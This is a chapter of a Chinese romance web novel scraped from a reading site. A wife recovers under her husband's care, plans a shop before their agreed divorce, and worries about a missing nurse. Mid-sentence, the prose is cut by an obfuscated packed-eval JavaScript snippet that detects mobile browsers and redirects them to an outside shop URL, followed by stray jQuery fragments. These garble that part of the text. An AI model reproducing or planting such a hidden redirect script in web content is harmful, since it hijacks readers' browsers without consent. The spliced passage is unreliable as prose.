文趣网 > 其他小说 > 嫁给阴湿帝师后 > 17. 药香浓
    霍离只觉脸颊上火辣辣的,热气怎么也压不下去,反而愈烧愈烈。

    她知谢磪所言也没错,但踌躇半天终究是过不去心里这道坎,正打算找个借口敷衍过去,男人却已打开白瓷瓶,此刻正静静地看着她。

    她知道是敷衍不过去了,只好深吸口气缓缓背过身去。衣领散开的那一瞬,凉意攀上肌肤,她几乎是下意识地攥紧了胸前的衣衫。

    “放松些。”

    男人清润微哑的声音响起,她这才回过神来自己有些反应过激了,指间松了松。她静静等待着他的动作,面上故作从容,实则心跳如鼓快得吓人。

    好在他动作干脆且轻柔,没给她思忖太多的机会,骨节分明的手指勾住衣领轻轻往下一拉,少女白皙的肩头便暴露在空气中。

    谢磪微微皱眉。

    她是清瘦的,比起京城世家贵女追求的珠圆玉润的身材要纤瘦不少,轻轻一碰便能探到肌肤下的骨骼,后背更是如此。若非冬日里衣裳穿得厚,少女整个人就和纸片一样薄。

    她嫁给他之前过得并不好。

    虽然先前他早已派人去探过霍离这些年在霍府的处境,但亲眼看到这般模样他心头还是会狠狠一抽。

    而如今,这清瘦的肩头又多了不少细小的伤口……

    霍离察觉到他动作顿了顿,迟迟没有动手上药,微微侧头:“怎么了?”

    “无事。”

    谢磪将心头的那点情绪压下,挖了一小块软膏,点在她泛红的伤处。

    软膏微凉,透着淡淡的药香,落在背上有些痒,她下意识动了动,手臂却被他按住。

    屋内一片寂静,是以后背传来的触感越发清晰起来。

    霍离几乎能想象他的手指是如何轻柔地点在她的伤处,软膏是如何被均匀地抹开。男人的指间很暖,染得软膏也没有那么凉了,她很快适应了他的温度。

    他就这样不厌其烦地替她背上的每个伤口上药,每个动作都极轻极稳,手上力道几乎一致,竟让霍离生出些享受的感觉。

    从前就连海棠给她上药的时候她都不曾有过这种酥酥麻麻,昏昏欲睡的感觉。

    “好了。”

    一语点醒梦中人,他干脆利落地替她拢好衣领,又把她裹在那件玄色大氅中。

    “多谢。”霍离说着,方才的触觉却在她的脑海中挥之不去。

    谢磪将白瓷瓶放在床头,坐在床榻上侧身看她,神色严肃了几分:“我手底下有个贴身侍卫名唤苍明,为人机灵,也懂武艺,这几日我就把他安排到你身边。”

    霍离闻言顿时回神。

    眼下这个节骨眼他突然安排他的贴身侍卫到她身边是为了……保护她?

    霍离眨了眨眼:“苍明……和苍言……”

    谢磪颔首:“苍明是苍言的哥哥,二人都是我的贴身侍卫。”

    霍离恍然大悟,不过她自入府以来只见过苍言几乎寸步不离地陪在谢磪左右,从未见过苍明此人。可见苍明多半是被谢磪派出去了,这几日才会回到谢府。

    不过对她而言,其实不算坏事,苍明善武功至少能在谢磪不在时保护她的安全。要说顾虑……

    霍离瞄了谢磪一眼,旋即收回目光。

    苍明终究是谢磪的人,以她眼下与谢磪的关系,苍明保不齐也是来暗中监视她的一举一动的。

    “怎么?有顾虑?”

    他一眼就看出她的心思,霍离只好敛起那点小九九,讨好地笑了笑:“怎会?夫君派人来保护我我高兴都来不及呢。”

    谢磪没再言语,眉宇间也舒展了些,这一切细节都在无声地告诉霍离这对他很受用。

    霍离心中窃喜,总算松了口气。

    片刻后海棠端着药汤走进来,霍离皱着眉头喝完药,大夫又来把了把脉说只静养即可,谢磪便不由分说地把人抱起回谢府去了。

    折腾了大半天,霍离的确也乏了,只软软地靠在他怀里休憩。

    模模糊糊间,她的掌心被塞入了一个东西。

    她摸了摸,小小一块,硬硬的,滑滑的,是油纸包着的糖果。

    一想到有糖吃,霍离顿时来了精神,睁开眼摸索着打开油纸,浓郁的奶香扑鼻而来。

    糖果方方正正,却是乳白色的,这糖她还从未见过。

    秉存着先吃为敬的原则,霍离将糖果一口含入口中,顺滑的奶味交织着甜香在舌尖慢慢化开,药汤残留在她舌尖的那点苦涩顿时消散不见。

    “这是什么糖?”霍离忍不住问。

    谢磪道:“狮乳糖,乌厥进贡来的,陛下赏了些给几个大臣。”

    霍离低头看了看手中的油纸,也就是说这糖大有来头,是乌厥进贡给永和帝,永和帝又赏给他,他再赠予她的,怪不得她从前不曾吃过,也闻所未闻。

    如此一想,她又觉得这糖有些神圣了。

    她小心翼翼地把糖纸叠好,放入袖中。

    “做什么?”谢磪一脸不解。

    霍离却不紧不慢地解释:“按你所说这糖很珍贵,我把糖纸保存下来以后看到糖纸就能想起自己吃过这么珍贵的糖了。”

    语毕,男人胸膛震了震。他在笑。

    “你笑什么?”霍离觉得莫名其妙。

    谢磪:“我有一盒子。”

    霍离:“……”

    回到谢府后这几日,霍离做了个闲人,老老实实地在房中休息。每晚戌时便歇,翌日一直睡到自然醒,好不舒服,几日下来她伤口也不疼了,脸色也红润了不少。

    期间霍府派人来传过话,说的都是关于她掌中馈的事,霍严和焦玉茹的意思是让她找个借口推脱过去。

    霍离心如明镜,这是面上不敢拂谢磪的面子,才找上她来了。

    霍离只当不知,让人传了些似是而非的话回去,霍严和焦玉茹也开始拿不准主意,又怕操之过急惹怒了谢磪,只好暂时作罢。

    其实霍离对后宅之事并不关心,对这所谓的一点权力更是不放心上,这么大个霍府上上下下若真要她事事把关她怕会累死,是以霍离把这桩事推给谢磪,让他找个人打理便是,她也落个清闲。

    其实这几日霍离也并非完全无事可做,她让海棠去芙蓉街转了一圈找了些正在出售的店面。海棠带回消息,她便开始思忖。

    海棠见状不解:“夫人,您为何要让我去打探芙蓉街上正在出售的店面

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17752981|209368||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”?

    霍离低头看着自己手绘的地图:“我打算买下一间店面。”

    海棠更困惑了:“夫人要买店面做什么?”

    霍离搁下笔,笑了笑:“当然是做生意了。”

    “做生意?”

    海棠愣住了。

    “你莫不是忘了我会做些小玩意,若是做生意应该能卖些钱。”

    海棠倏然明白过来,但她依旧不明白自家夫人贵为帝师夫人,想要什么没有,为何还要去做生意赚钱呢。

    霍离知道瞒不住她了,便拉着她的手让她坐在自己身旁,语气认真:“我答应了谢磪,一年后我们会和离。”

    海棠听到“和离”二字差点惊呼出声,还好及时捂住了嘴。她眼中满是诧异,而后只剩下心疼,声音哽咽:“是不是主君……待您不好?”

    霍离顿了顿,旋即摇头。

    “那为什么……”

    霍离见海棠抽抽搭搭地又要哭,笑着安慰她:“不是,他待我很好,只是……”

    言至于此,霍离心中隐隐泛起一阵酸涩,胸口发闷。但她很快回过神来,长舒了一口气,感慨一笑。

    “只是我们并非一路人,也做不成同路人,他要走他的路,我也要走我的路。”

    海棠其实并不明白自家夫人的言下之意,但还是懵懵懂懂地点了点头。她相信夫人说的总是没错的,天涯海角,她只要一直跟随夫人便好。

    “所以我打算在京城做点生意赚点银子,到时候就当我们路上的盘缠了。”

    霍离说着倏然想起什么,唇边笑意淡了下来:“寒门寺有消息了吗?赵嬷嬷可曾回府?”

    海棠摇了摇头:“我派人打听只知道赵嬷嬷当时的确去了寒门寺,但尚未收赵到嬷嬷回府的消息。”

    霍离眸色骤冷。

    细细想来距离嬷嬷离开霍府已然过去了整整七日,按照往日习惯再怎么说嬷嬷今日也应会回到霍府,但至今却迟迟未归。

    不知为何,霍离感觉胸口仿佛压了一块巨石,喘不过气来,脸色也有些发白。

    “夫人,怎么了?”

    霍离摇了摇头:“不知怎的,我总觉得心里有些不安。”

    海棠安慰她:“您也别太担心了,现在还是申时三刻,说不定嬷嬷过一会儿便回来了。”

    霍离微微颔首,试图在心里说服自己冷静下来,但等了半个多时辰她终于等不住了。

    “海棠,收拾一下东西,我们去一趟寒门寺。”霍离起身。

    海棠道:“夫人,还有半个时辰城门就落锁了,不然明日再去吧。”

    “我放心不下。”

    霍离心意已决,海棠旋即收拾好东西跟了上去,霍离刚出房门便看到门边立着一个身着劲服的年轻男人。

    根据谢磪前几日给自己的画像,霍离很快认出了这个年轻男人正是谢磪给自己的侍卫苍明。

    苍明见霍离与海棠背着行囊,似要外出,行礼道:“属下苍明,主君命属下来保护夫人安全,不知夫人这么晚了要去何处?”

    “我有急事去一趟西郊寒门寺。”霍离想起什么,往隔壁的厢房望了望,“他还不曾回府吗?”